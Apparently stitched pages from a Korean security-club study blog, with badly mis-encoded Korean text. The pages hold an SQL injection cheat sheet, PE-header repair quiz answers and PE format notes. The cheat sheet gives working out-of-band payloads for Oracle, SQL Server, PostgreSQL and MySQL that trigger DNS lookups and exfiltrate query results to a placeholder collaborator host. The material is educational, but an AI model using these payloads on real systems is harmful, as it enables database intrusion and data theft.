    : IF ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์กฐ๊ฑด์ด ์ฐธ์ผ ๋•Œ SLEEP(10)์„ ํ˜ธ์ถœํ•ด 10์ดˆ ๋™์•ˆ ์ง€์—ฐ์„ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์กฐ๊ฑด์ด ๊ฑฐ์ง“์ผ ๊ฒฝ์šฐ 'a'๋ผ๋Š” ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•˜๋ฉฐ, ์ง€์—ฐ ์—†์ด ์‘๋‹ต์„ ๋ฐ›์Šต๋‹ˆ๋‹ค.

DNS lookup

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์œผ๋กœ DNS ์กฐํšŒ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Oracle

  • (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
    XXE(External XML Entity) ์ทจ์•ฝ์ ์„ ํ†ตํ•ด DNS ์กฐํšŒ๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ํŒจ์น˜๋˜์—ˆ์œผ๋‚˜, ์—ฌ์ „ํžˆ ๋งŽ์€ Oracle ์„ค์น˜ ๋ฒ„์ „์ด ํŒจ์น˜๋˜์ง€ ์•Š์€ ์ƒํƒœ
  • SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
    : XML ์™ธ๋ถ€ ์—”ํ„ฐํ‹ฐ(XML External Entity, XXE) ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ BURP-COLLABORATOR-SUBDOMAIN์œผ๋กœ DNS ์กฐํšŒ๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค. XML ํ˜•์‹์˜ ๋ฐ์ดํ„ฐ๋ฅผ xmltype์œผ๋กœ ๋ณ€ํ™˜ํ•œ ํ›„, ์™ธ๋ถ€ ์—”ํ„ฐํ‹ฐ๋ฅผ ์„ ์–ธํ•˜์—ฌ ์‹œ์Šคํ…œ์—์„œ ์ •์˜๋œ ์™ธ๋ถ€ ์ž์›์„ ๋กœ๋“œ.

 

  • The following technique works on fully patched Oracle installations, but requires elevated privileges:
    ํŒจ์น˜๋œ Oracle ์„ค์น˜์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ณ ๊ธ‰ ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋‹ค.
    • SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')                                        : ์ด ์ฟผ๋ฆฌ๋Š” UTL_INADDR ํŒจํ‚ค์ง€์˜ get_host_address ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ BURP-COLLABORATOR-SUBDOMAIN ๋„๋ฉ”์ธ์˜ IP ์ฃผ์†Œ๋ฅผ ์กฐํšŒํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ฒ„๋Š” ๋„๋ฉ”์ธ ์ด๋ฆ„์„ ํ™•์ธํ•˜๋Š” ๊ณผ์ •์—์„œ DNS ์š”์ฒญ์„ ๋ฐœ์ƒ

 
Microsoft 

  • exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
    : SQL Server์—์„œ ํŒŒ์ผ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” xp_dirtree ์ €์žฅ ํ”„๋กœ์‹œ์ €๋ฅผ ์ด์šฉํ•˜์—ฌ DNS ์š”์ฒญ์„ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค. //BURP-COLLABORATOR-SUBDOMAIN/a ๊ฒฝ๋กœ๋Š” ์›๊ฒฉ ์„œ๋ฒ„์— ์—ฐ๊ฒฐ๋˜๋ฉฐ, ์„œ๋ฒ„๋Š” ์ด ๊ฒฝ๋กœ๋ฅผ ํƒ์ƒ‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉด์„œ DNS ์กฐํšŒ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์™ธ๋ถ€ ์„œ๋ฒ„์—์„œ ๋„คํŠธ์›Œํฌ ์š”์ฒญ์ด ํ™•์ธ.

 
PostgreSQL 

  • copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
    : PostgreSQL์—์„œ ์™ธ๋ถ€ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด copy ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. nslookup ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜์—ฌ BURP-COLLABORATOR-SUBDOMAIN ๋„๋ฉ”์ธ์˜ DNS ์ •๋ณด๋ฅผ ์กฐํšŒํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์—์„œ ์„œ๋ฒ„๊ฐ€ ์™ธ๋ถ€ DNS ์„œ๋ฒ„๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ํ†ตํ•ด ์„œ๋ฒ„์˜ ์™ธ๋ถ€ ํ†ต์‹ ์„ ํ™•์ธ.

 
MySQL

  • The following techniques work on Windows only:
     Windows ํ™˜๊ฒฝ์—์„œ๋งŒ ์ž‘๋™
  • LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')                                                                                        : LOAD_FILE ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์›๊ฒฉ ์„œ๋ฒ„์—์„œ ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๊ฒฝ๋กœ์— ์žˆ๋Š” \\\\BURP-COLLABORATOR-SUBDOMAIN\\a๋Š” ๋„คํŠธ์›Œํฌ ๊ณต์œ ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ•˜๋ ค๋Š” ๊ฒฝ๋กœ์ด๋ฉฐ, ์„œ๋ฒ„๊ฐ€ ์ด ๊ฒฝ๋กœ๋ฅผ ํƒ์ƒ‰ํ•˜๋ ค๊ณ  ํ•  ๋•Œ DNS ์กฐํšŒ๊ฐ€ ๋ฐœ์ƒ
  • SELECT... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
    : INTO OUTFILE ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๋ฅผ ์™ธ๋ถ€ ํŒŒ์ผ๋กœ ์ €์žฅํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ์ €์žฅ ๊ฒฝ๋กœ๋กœ ์ง€์ •๋œ \\\\BURP-COLLABORATOR-SUBDOMAIN\\a๋Š” ์™ธ๋ถ€ ๋„คํŠธ์›Œํฌ ์ƒ์˜ ๊ฒฝ๋กœ๋กœ, MySQL ์„œ๋ฒ„๊ฐ€ ํŒŒ์ผ์„ ์“ฐ๋ ค๊ณ  ์‹œ๋„ํ•˜๋ฉด์„œ DNS ์š”์ฒญ์„ ๋ฐœ์ƒ.

DNS lookup with data exfiltration

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์‚ฝ์ž…๋œ ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ํฌํ•จํ•˜๋Š” ์™ธ๋ถ€ ๋„๋ฉ”์ธ์œผ๋กœ DNS ์กฐํšŒ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Oracle 

  • SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
    : XML ์™ธ๋ถ€ ์—”ํ„ฐํ‹ฐ(XML External Entity, XXE) ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ, YOUR-QUERY-HERE ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ํฌํ•จํ•œ DNS ์š”์ฒญ์„ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. EXTRACTVALUE ํ•จ์ˆ˜๋Š” XML ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ  ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. xmltype์œผ๋กœ ๋ณ€ํ™˜๋œ XML ๋‚ด์—์„œ YOUR-QUERY-HERE ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ํฌํ•จํ•œ URL์„ ์ƒ์„ฑํ•˜์—ฌ Burp Collaborator ํ•˜์œ„ ๋„๋ฉ”์ธ์œผ๋กœ DNS ์š”์ฒญ์„ ์ „์†ก.

 
Microsoft

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')

: YOUR-QUERY-HERE ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ณ€์ˆ˜ @p์— ์ €์žฅํ•œ ํ›„, xp_dirtree ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด๋‹น ๊ฒฐ๊ณผ๋ฅผ Burp Collaborator ํ•˜์œ„ ๋„๋ฉ”์ธ์— ์—ฐ๊ฒฐ๋œ ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ.

 
PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

: YOUR-QUERY-HERE ์ฟผ๋ฆฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ณ€์ˆ˜ p์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„ nslookup ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ BURP-COLLABORATOR-SUBDOMAIN์œผ๋กœ DNS ์š”์ฒญ์„ ์ „์†กํ•˜๋Š” copy ๋ช…๋ น์–ด๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ด ์ฟผ๋ฆฌ๋Š” security definer๋กœ ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉฐ, ํ˜ธ์ถœํ•œ ์‚ฌ์šฉ์ž ๋Œ€์‹  ํ•จ์ˆ˜๋ฅผ ์ •์˜ํ•œ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰.

 
MySQL

  • SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
    : YOUR-QUERY-HERE์˜ ๊ฒฐ๊ณผ๋ฅผ BURP-COLLABORATOR-SUBDOMAIN ๊ฒฝ๋กœ์— ์žˆ๋Š” ํŒŒ์ผ๋กœ ์ €์žฅํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. INTO OUTFILE ๋ช…๋ น์€ ๊ฒฐ๊ณผ๋ฅผ ํŒŒ์ผ๋กœ ์ถœ๋ ฅ.

3. https://sqlzoo.net/wiki/SELECT_from_Nobel_Tutorial ์‚ฌ์ดํŠธ ๋ฌธ์ œ ํ’€๊ณ  ์ธ์ฆ

 

SELECT from Nobel Tutorial - SQLZOO

nobel yr subject winner 1960 Chemistry Willard F. Libby 1960 Literature Saint-John Perse 1960 Medicine Sir Frank Macfarlane Burnet 1960 Medicine Peter Madawar ... nobel Nobel Laureates We continue practicing simple SQL queries on a single table. This tutor

sqlzoo.net

 

'EVI$ION > 7th' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[EVI$ION] Pwnable  (2) 2024.11.21
[EVI$ION] #4 - Reversing 1  (0) 2024.11.07
[EVI$ION] #3 - Digital Forensic Assignment  (5) 2024.10.06
[EVI$ION] #1 - Web Hacking Assignment  (1) 2024.09.19
728x90

# Notepad Quiz-1

๋จผ์ € HxD ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ notepad.exe์™€ notepad_quiz(1) ํŒŒ์ผ์„ ์—ด๊ณ  ๋‘˜์„ ๋น„๊ตํ•˜๋ฉด์„œ ๋ถ„์„์„ ํ•ด๋ณด์•˜์Šต๋‹ˆ๋‹ค!

notepad_quiz(1) ๊ฐ™์€ ๊ฒฝ์šฐ์—๋Š” ์•ž์•„ e_magic("MZ") ๋Œ€์‹ ์— EVI$ION์ด ์žˆ๋‹ค๋Š” ๊ฑธ ํ™•์ธํ–ˆ์Šต๋‹ˆ๋‹ค.

EVI$ION์„ MZ๋กœ ๋ฐ”๊ฟ”์„œ ์ €์žฅ์„ ํ•ด์ค€ ๋’ค cmd๋ฅผ ํ†ตํ•ด ์‹คํ–‰์„ ํ–ˆ๋”๋‹ˆ ์ •์ƒ์ ์œผ๋กœ ๋ฉ”๋ชจ์žฅ์ด ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค!


# Notepad Quiz-2

notepad_quiz(2)๋„ ๋˜‘๊ฐ™์ด HxDํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ์—ด๊ณ  ๋น„๊ตํ•˜๋ฉด์„œ ๋ถ„์„์„ ํ–ˆ์Šต๋‹ˆ๋‹ค.

quiz2๋Š” ์•ž์— e_magic์ด ๋น ์ง„ ๊ฑธ ํ™•์ธํ–ˆ๊ณ  ํ—ค๋”์˜ ๋๋ถ€๋ถ„์— 000000E0์œผ๋กœ e_lfanew๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋Š” ๊ฒƒ๋„ ํ™•์ธ์„ ํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ , ์‹œ๊ทธ๋‹ˆ์ฒ˜ PE๊ฐ€ ๋น ์ ธ์žˆ๋‹ค๋Š” ๊ฒƒ๋„ ์•Œ์•„๋ƒˆ์Šต๋‹ˆ๋‹ค.

 

๊ทธ๋ž˜์„œ, e_magic, e_lfanew, ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ์„ค์ •์„ ๋‹ค ํ•˜๊ณ  ์ €์žฅ์„ ํ•œ ๋’ค

cmd๋กœ ์‹คํ–‰ํ•˜๋‹ˆ ์ •์ƒ์ ์œผ๋กœ ๋ฉ”๋ชจ์žฅ์ด ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค.


# Notepad Quiz-3

์ •์ƒ์ ์ธ notepad.exe ํŒŒ์ผ๊ณผ ๋น„๊ต๋ฅผ ํ•˜๋‹ˆ Offset 00000130 0B ๋ถ€๋ถ„์— 02 ๋Œ€์‹ ์— 01์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•„๋ƒˆ๊ณ 

๊ทธ๋ž˜์„œ 02๋กœ ๋‹ค์‹œ ์ˆ˜์ •์„ ํ•˜๊ณ  ์‹คํ–‰์„ ํ•ด๋ณด๋‹ˆ ์ •์ƒ์ ์œผ๋กœ ๋ฉ”๋ชจ์žฅ์ด ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค.


# Notepad Quiz-4

์ •์ƒ์ ์ธ notepad.exe ํŒŒ์ผ๊ณผ ๋น„๊ต๋ฅผ ํ•˜๋‹ˆ Offset 000000E0 06 ๋ถ€๋ถ„์— 03 ๋Œ€์‹ ์— 02๊ฐ€ ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ์•„๋ƒˆ๊ณ 

๊ทธ๋ž˜์„œ 03์œผ๋กœ ๋‹ค์‹œ ์ˆ˜์ •์„ ํ•˜๊ณ  ์‹คํ–‰์„ ํ•ด๋ณด๋‹ˆ ์ •์ƒ์ ์œผ๋กœ ๋ฉ”๋ชจ์žฅ์ด ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค.


 

'EVI$ION > ์ธ๊ณต์ง€๋Šฅ ์•…์„ฑ์ฝ”๋“œ ๋ถ„๋ฅ˜' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[STUDY] #WEEK3 - QUIZ  (0) 2024.10.04
[SESSION] 3. PEํŒŒ์ผ(2)  (1) 2024.10.04
[SESSION] 2. PEํŒŒ์ผ  (0) 2024.09.24
[SESSION] 1. ๋ฆฌ๋ฒ„์‹ฑ ๊ธฐ์ดˆ  (0) 2024.09.22
[SESSION] OT  (1) 2024.09.21
728x90

PEํŒŒ์ผ ๊ฐœ์š”

PEํŒŒ์ผ์ด๋ž€?

  • ์œˆ๋„์šฐ ์šด์˜์ฒด์ œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์‹คํ–‰ํŒŒ์ผ ํ˜•์‹
  • ๊ทธ๋ƒฅ PEํŒŒ์ผ์€ 32bit, 64bit ํ˜•ํƒœ์˜ ์‹คํ–‰ํŒŒ์ผ์€ PE+, PE32+๋กœ ๋ถˆ๋ฆฐ๋‹ค.
  • OBJ ํŒŒ์ผ์„ ์ œ์™ธํ•˜๊ณ  ๋ชจ๋‘ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ํŒŒ์ผ
  • DLL, SYS ๊ฐ™์€ ํŒŒ์ผ์€ ์…ธ์—์„œ ์ง์ ‘ ์‹คํ–‰ํ•  ์ˆœ ์—†์ง€๋งŒ ์„œ๋น„์Šค, ๋””๋ฒ„๊ฑฐ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋‹ค.
๊ตฌ๋ถ„ ์ข…๋ฅ˜
์‹คํ–‰ ๊ณ„์—ด EXE, SCR
๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ณ„์—ด DLL, OCX, CPL, DRV
๋“œ๋ผ์ด๋ฒ„ ๊ณ„์—ด SYS, VXD
์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ ๊ณ„์—ด OBJ

PEํŒŒ์ผ ๊ฐœ์š”

  • PEํŒŒ์ผ์˜ ํ—ค๋” ๋ถ€๋ถ„์—๋Š” PEํŒŒ์ผ์ด ์‹คํ–‰๋˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ๋ชจ๋“  ์ •๋ณด๊ฐ€ ์ ํ˜€์žˆ๋‹ค.
  • ๋ฉ”๋ชจ๋ฆฌ์— ์–ด๋–ป๊ฒŒ ์ ์žฌ๋˜๋Š”์ง€, ์–ด๋””์„œ๋ถ€ํ„ฐ ์‹คํ–‰๋ ์ง€, ์‹คํ–‰์—๋Š” ์–ด๋–ค DLL์ด ํ•„์š”ํ•˜๊ณ , ํ•„์š”ํ•œ ์Šคํƒ, ํž™ ๋ฉ”๋ชจ๋ฆฌ์˜ ํฌ๊ธฐ๊ฐ€ ์–ผ๋งˆ์ธ์ง€ ๋“ฑ์ด PE ํ—ค๋”์— ๊ตฌ์กฐ์ฒด ํ˜•์‹์œผ๋กœ ์ €์žฅ๋˜์–ด ์žˆ์Œ
  • ๋™์  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ •๋ณด, API ์ต์ŠคํฌํŠธ ๋ฐ ์ž„ํฌํŠธ ์ •๋ณด, ์‹คํ–‰์„ ์œ„ํ•œ ์ฝ”๋“œ, ์‹คํ–‰์— ํ•„์š”ํ•œ ๋ฆฌ์†Œ์Šค ์ •๋ณด ๋“ฑ์„ ๊ตฌ์กฐํ™”ํ•˜๊ณ  ๊ด€๋ฆฌํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ •์˜ํ•˜๊ณ  ์žˆ์Œ
  • PEํŒŒ์ผ ํฌ๋งท์„ ๊ณต๋ถ€ํ•œ๋‹ค = ์ธ๊ณต์ง€๋Šฅ ์ฃผ์š” feature๋กœ ์‚ฌ์šฉ๋  PEํ—ค๋” ๊ตฌ์กฐ์ฒด๋ฅผ ๊ณต๋ถ€ํ•œ๋‹ค
  • Feature: ๋จธ์‹ ๋Ÿฌ๋‹์— ์‚ฌ์šฉ๋˜๋Š” ๊ฐœ๋ณ„์ ์ธ ๋…๋ฆฝ๋ณ€์ˆ˜.
    • feature๋Š” ์šฐ๋ฆฌ๊ฐ€ ์•…์„ฑ์ฝ”๋“œ์ธ์ง€ ์•„๋‹Œ์ง€๋ฅผ ๊ฐ€๋ฆฌ๋Š” ์ธ๊ณต์ง€๋Šฅ์ด ์•…์„ฑ์ฝ”๋“œ์ธ์ง€ ํŒ๋ณ„ํ•  ๋•Œ ์‚ฌ์šฉํ•  ์ •๋ณด, ํ˜น์€ ๊ฑฐ๊ธฐ์— ๋„์›€์ด ๋˜๋Š” ์ •๋ณด
  • ๊ตฌ์กฐ์ฒด: ํ•˜๋‚˜ ์ด์ƒ์˜ ๋ณ€์ˆ˜(ํฌ์ธํ„ฐ ๋ณ€์ˆ˜, ๋ฐฐ์—ด ํฌํ•จ)๋ฅผ ํ•˜๋‚˜๋กœ ๋ฌถ์„ ์ˆ˜ ์žˆ๋Š” ๋ณตํ•ฉ ์ž๋ฃŒํ˜•์œผ๋กœ ์‚ฌ์šฉ์ž ์ •์˜ ์ž๋ฃŒํ˜•์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆผ

PE์˜ ๊ธฐ๋ณธ ๊ตฌ์กฐ

PEํ—ค๋”์™€ PE๋ฐ”๋””๋กœ ๋‚˜๋‰จ

  • DOS header๋ถ€ํ„ฐ Section header๊นŒ์ง€๋ฅผ PE ํ—ค๋”๋ผ๊ณ  ํ•˜๊ณ  ๊ทธ ๋ฐ‘์˜ ์„น์…˜์„ ํ•ฉ์ณ์„œ PE ๋ฐ”๋””๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค.
  • ์œ„์น˜๋ฅผ ํ‘œํ˜„ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ํŒŒ์ผ๊ณผ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๋‹ค๋ฅด๋‹ค
    • ํŒŒ์ผ = offset
    • ๋ฉ”๋ชจ๋ฆฌ = ์ฃผ์†Œ(์ ˆ๋Œ€์ฃผ์†Œ)
  • ํŒŒ์ผ์„ ์‚ฌ์šฉํ•  ๋•Œ๋Š” ํŒŒ์ผ์„ ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉ์‹œ์ผœ์„œ CPU ์ž์›์„ ํ• ๋‹นํ•œ๋‹ค. ์ด๋•Œ ํŒŒ์ผ์ด ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋”ฉ๋˜๋ฉด ๋ชจ์–‘(์„น์…˜ ํฌ๊ธฐ, ์œ„์น˜ ๋“ฑ)์ด ๋‹ฌ๋ผ์ง.
  • ํŒŒ์ผ ๋‚ด์šฉ์€ ๋ณดํ†ต ์ฝ”๋“œ(.txt๋กœ ๋œ ์„น์…˜), ๋ฐ์ดํ„ฐ(.data), ๋ฆฌ์†Œ์Šค(.rsrc) ์„น์…˜์œผ๋กœ ๋‚˜๋‰˜์–ด์„œ ์ €์žฅ๋˜๊ณ  ์„น์…˜๊ณผ ์†์„ฑ์ด ์œ ์‚ฌํ•œ ๋ฐ์ดํ„ฐ๋“ค์ด ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๊ณ  ๋ณด๋ฉด ๋œ๋‹ค.
  • ์„น์…˜ ์œ ํ˜•์ด๋‚˜ ๊ฐœ์ˆ˜, ํฌ๊ธฐ๋Š” ๊ฐœ๋ฐœ ๋„๊ตฌ์™€ ๋นŒ๋“œ ์˜ต์…˜์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง€๊ณ , ์ค‘์š”ํ•œ ๊ฑด ๊ฐ ์šฉ๋„๋ณ„๋กœ ์„น์…˜์ด ์—ฌ๋Ÿฌ ๊ฐœ ๋‚˜๋‰˜์–ด์„œ ์ €์žฅ๋œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

  • ์ปดํ“จํ„ฐ์—์„œ ํŒŒ์ผ, ๋ฉ”๋ชจ๋ฆฌ, ๋„คํŠธ์›Œํฌ ํŒจํ‚ท ๊ฐ™์€ ๊ฑธ ์ฒ˜๋ฆฌํ•  ๋•Œ ์ตœ์†Œ ๊ธฐ๋ณธ ๋‹จ์œ„ ๊ฐœ๋…์„ ์‚ฌ์šฉํ•จ
  • ํŒŒ์ผ/๋ฉ”๋ชจ๋ฆฌ์—์„œ ์„น์…˜์˜ ์‹œ์ž‘ ์œ„์น˜๋Š” ๊ฐ ํŒŒ์ผ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ตœ์†Œ ๊ธฐ๋ณธ ๋‹จ์œ„์˜ ๋ฐฐ์ˆ˜์— ํ•ด๋‹นํ•œ๋‹ค.
    • ๊ทธ๋ž˜์„œ ์‹œ์ž‘์ฃผ์†Œ๊ฐ€ ๋ฐฐ์ˆ˜๋กœ ๋”ฑ๋”ฑ ๋Š์–ด์ง€๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ํŒŒ์ผ๊ณผ ๋ฉ”๋ชจ๋ฆฌ์˜ ํŒŒ์ผ ํ• ๋‹น(alignment)์ด ๋‹ค๋ฅผ ๊ฒฝ์šฐ, ๋””์Šคํฌ์ƒ์—์„œ์™€ ๋ฉ”๋ชจ๋ฆฌ์ƒ์—์„œ ์‚ฌ์ด์ฆˆ๊ฐ€ ์กฐ๊ธˆ์”ฉ ๋‹ฌ๋ผ์ง€๊ธฐ ๋•Œ๋ฌธ์— ์ด ๋นˆ ๊ณต๊ฐ„์„ NULL๋กœ ์ฑ„์›Œ๋ฒ„๋ฆฐ๋‹ค.
    • ์ฆ‰, null๊ณต๊ฐ„์œผ๋กœ ํฌ๊ธฐ๋ฅผ ์กฐ์ ˆํ•œ๋‹ค.
  • ์ฃผ์†Œ ํ• ๋‹น ๋ฐฉ์‹์ด ๋‹ค๋ฅธ ์ด์œ ๋Š”?
    • ๋ฉ”๋ชจ๋ฆฌ๋Š” VA๋ฅผ ํ™œ์šฉํ•˜๊ณ , PE๋Š” RVA๋ฅผ ํ™œ์šฉํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Œ.
    • ์ด๋ ‡๊ฒŒ ํ•˜๋Š” ์ด์œ ๋Š” ๋งŒ์•ฝ ํ”„๋กœ๊ทธ๋žจ์„ ๋ฉ”๋ชจ๋ฆฌ๋กœ ์˜ฎ๊ธฐ๋Š” ๋ฐ ๊ทธ ์œ„์น˜์— ๋‹ค๋ฅธ ํ”„๋กœ๊ทธ๋žจ์ด ์ด๋ฏธ ์žˆ์„ ๊ฒฝ์šฐ, ๋‹ค๋ฅธ ์ž๋ฆฌ๋ฅผ ์ฐพ์•„์•ผ ํ•˜๋Š”๋ฐ ์ž๋ฆฌ๋ฅผ ๋ณ€๊ฒฝ ์•ˆ ํ•˜๋ฉด ์ •์ƒ์  ์‹คํ–‰ ๋ถˆ๊ฐ€
    • ๋”ฐ๋ผ์„œ, Relocation์ด ๊ฐ€๋Šฅํ•œ RVA๋กœ ํ”„๋กœ๊ทธ๋žจ์„ ์šด์˜ํ•ด์•ผ ํ•œ๋‹ค. 
    • ๊ธฐ์ค€์œ„์น˜๋Š” ๋ณ€ํ•ด๋„ ๊ธฐ์ค€ ์œ„์น˜์— ๋Œ€ํ•œ ์ƒ๋Œ€์  ์ฃผ์†Œ๋Š” ๋ณ€ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ์•„๋ฌด ๋ฌธ์ œ์—†์ด ์›ํ•˜๋Š” ์ •๋ณด์— ์•ก์„ธ์Šค ๊ฐ€๋Šฅ
    • VA(Virtual Address): ํ”„๋กœ์„ธ์Šค ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ ˆ๋Œ€์ฃผ์†Œ
    • RVA(Relative Virtual Address(offset)): ์–ด๋Š ๊ธฐ์ค€ ์œ„์น˜(ImageBase)์—์„œ๋ถ€ํ„ฐ์˜ ์ƒ๋Œ€์ฃผ์†Œ

 DOS HEADER

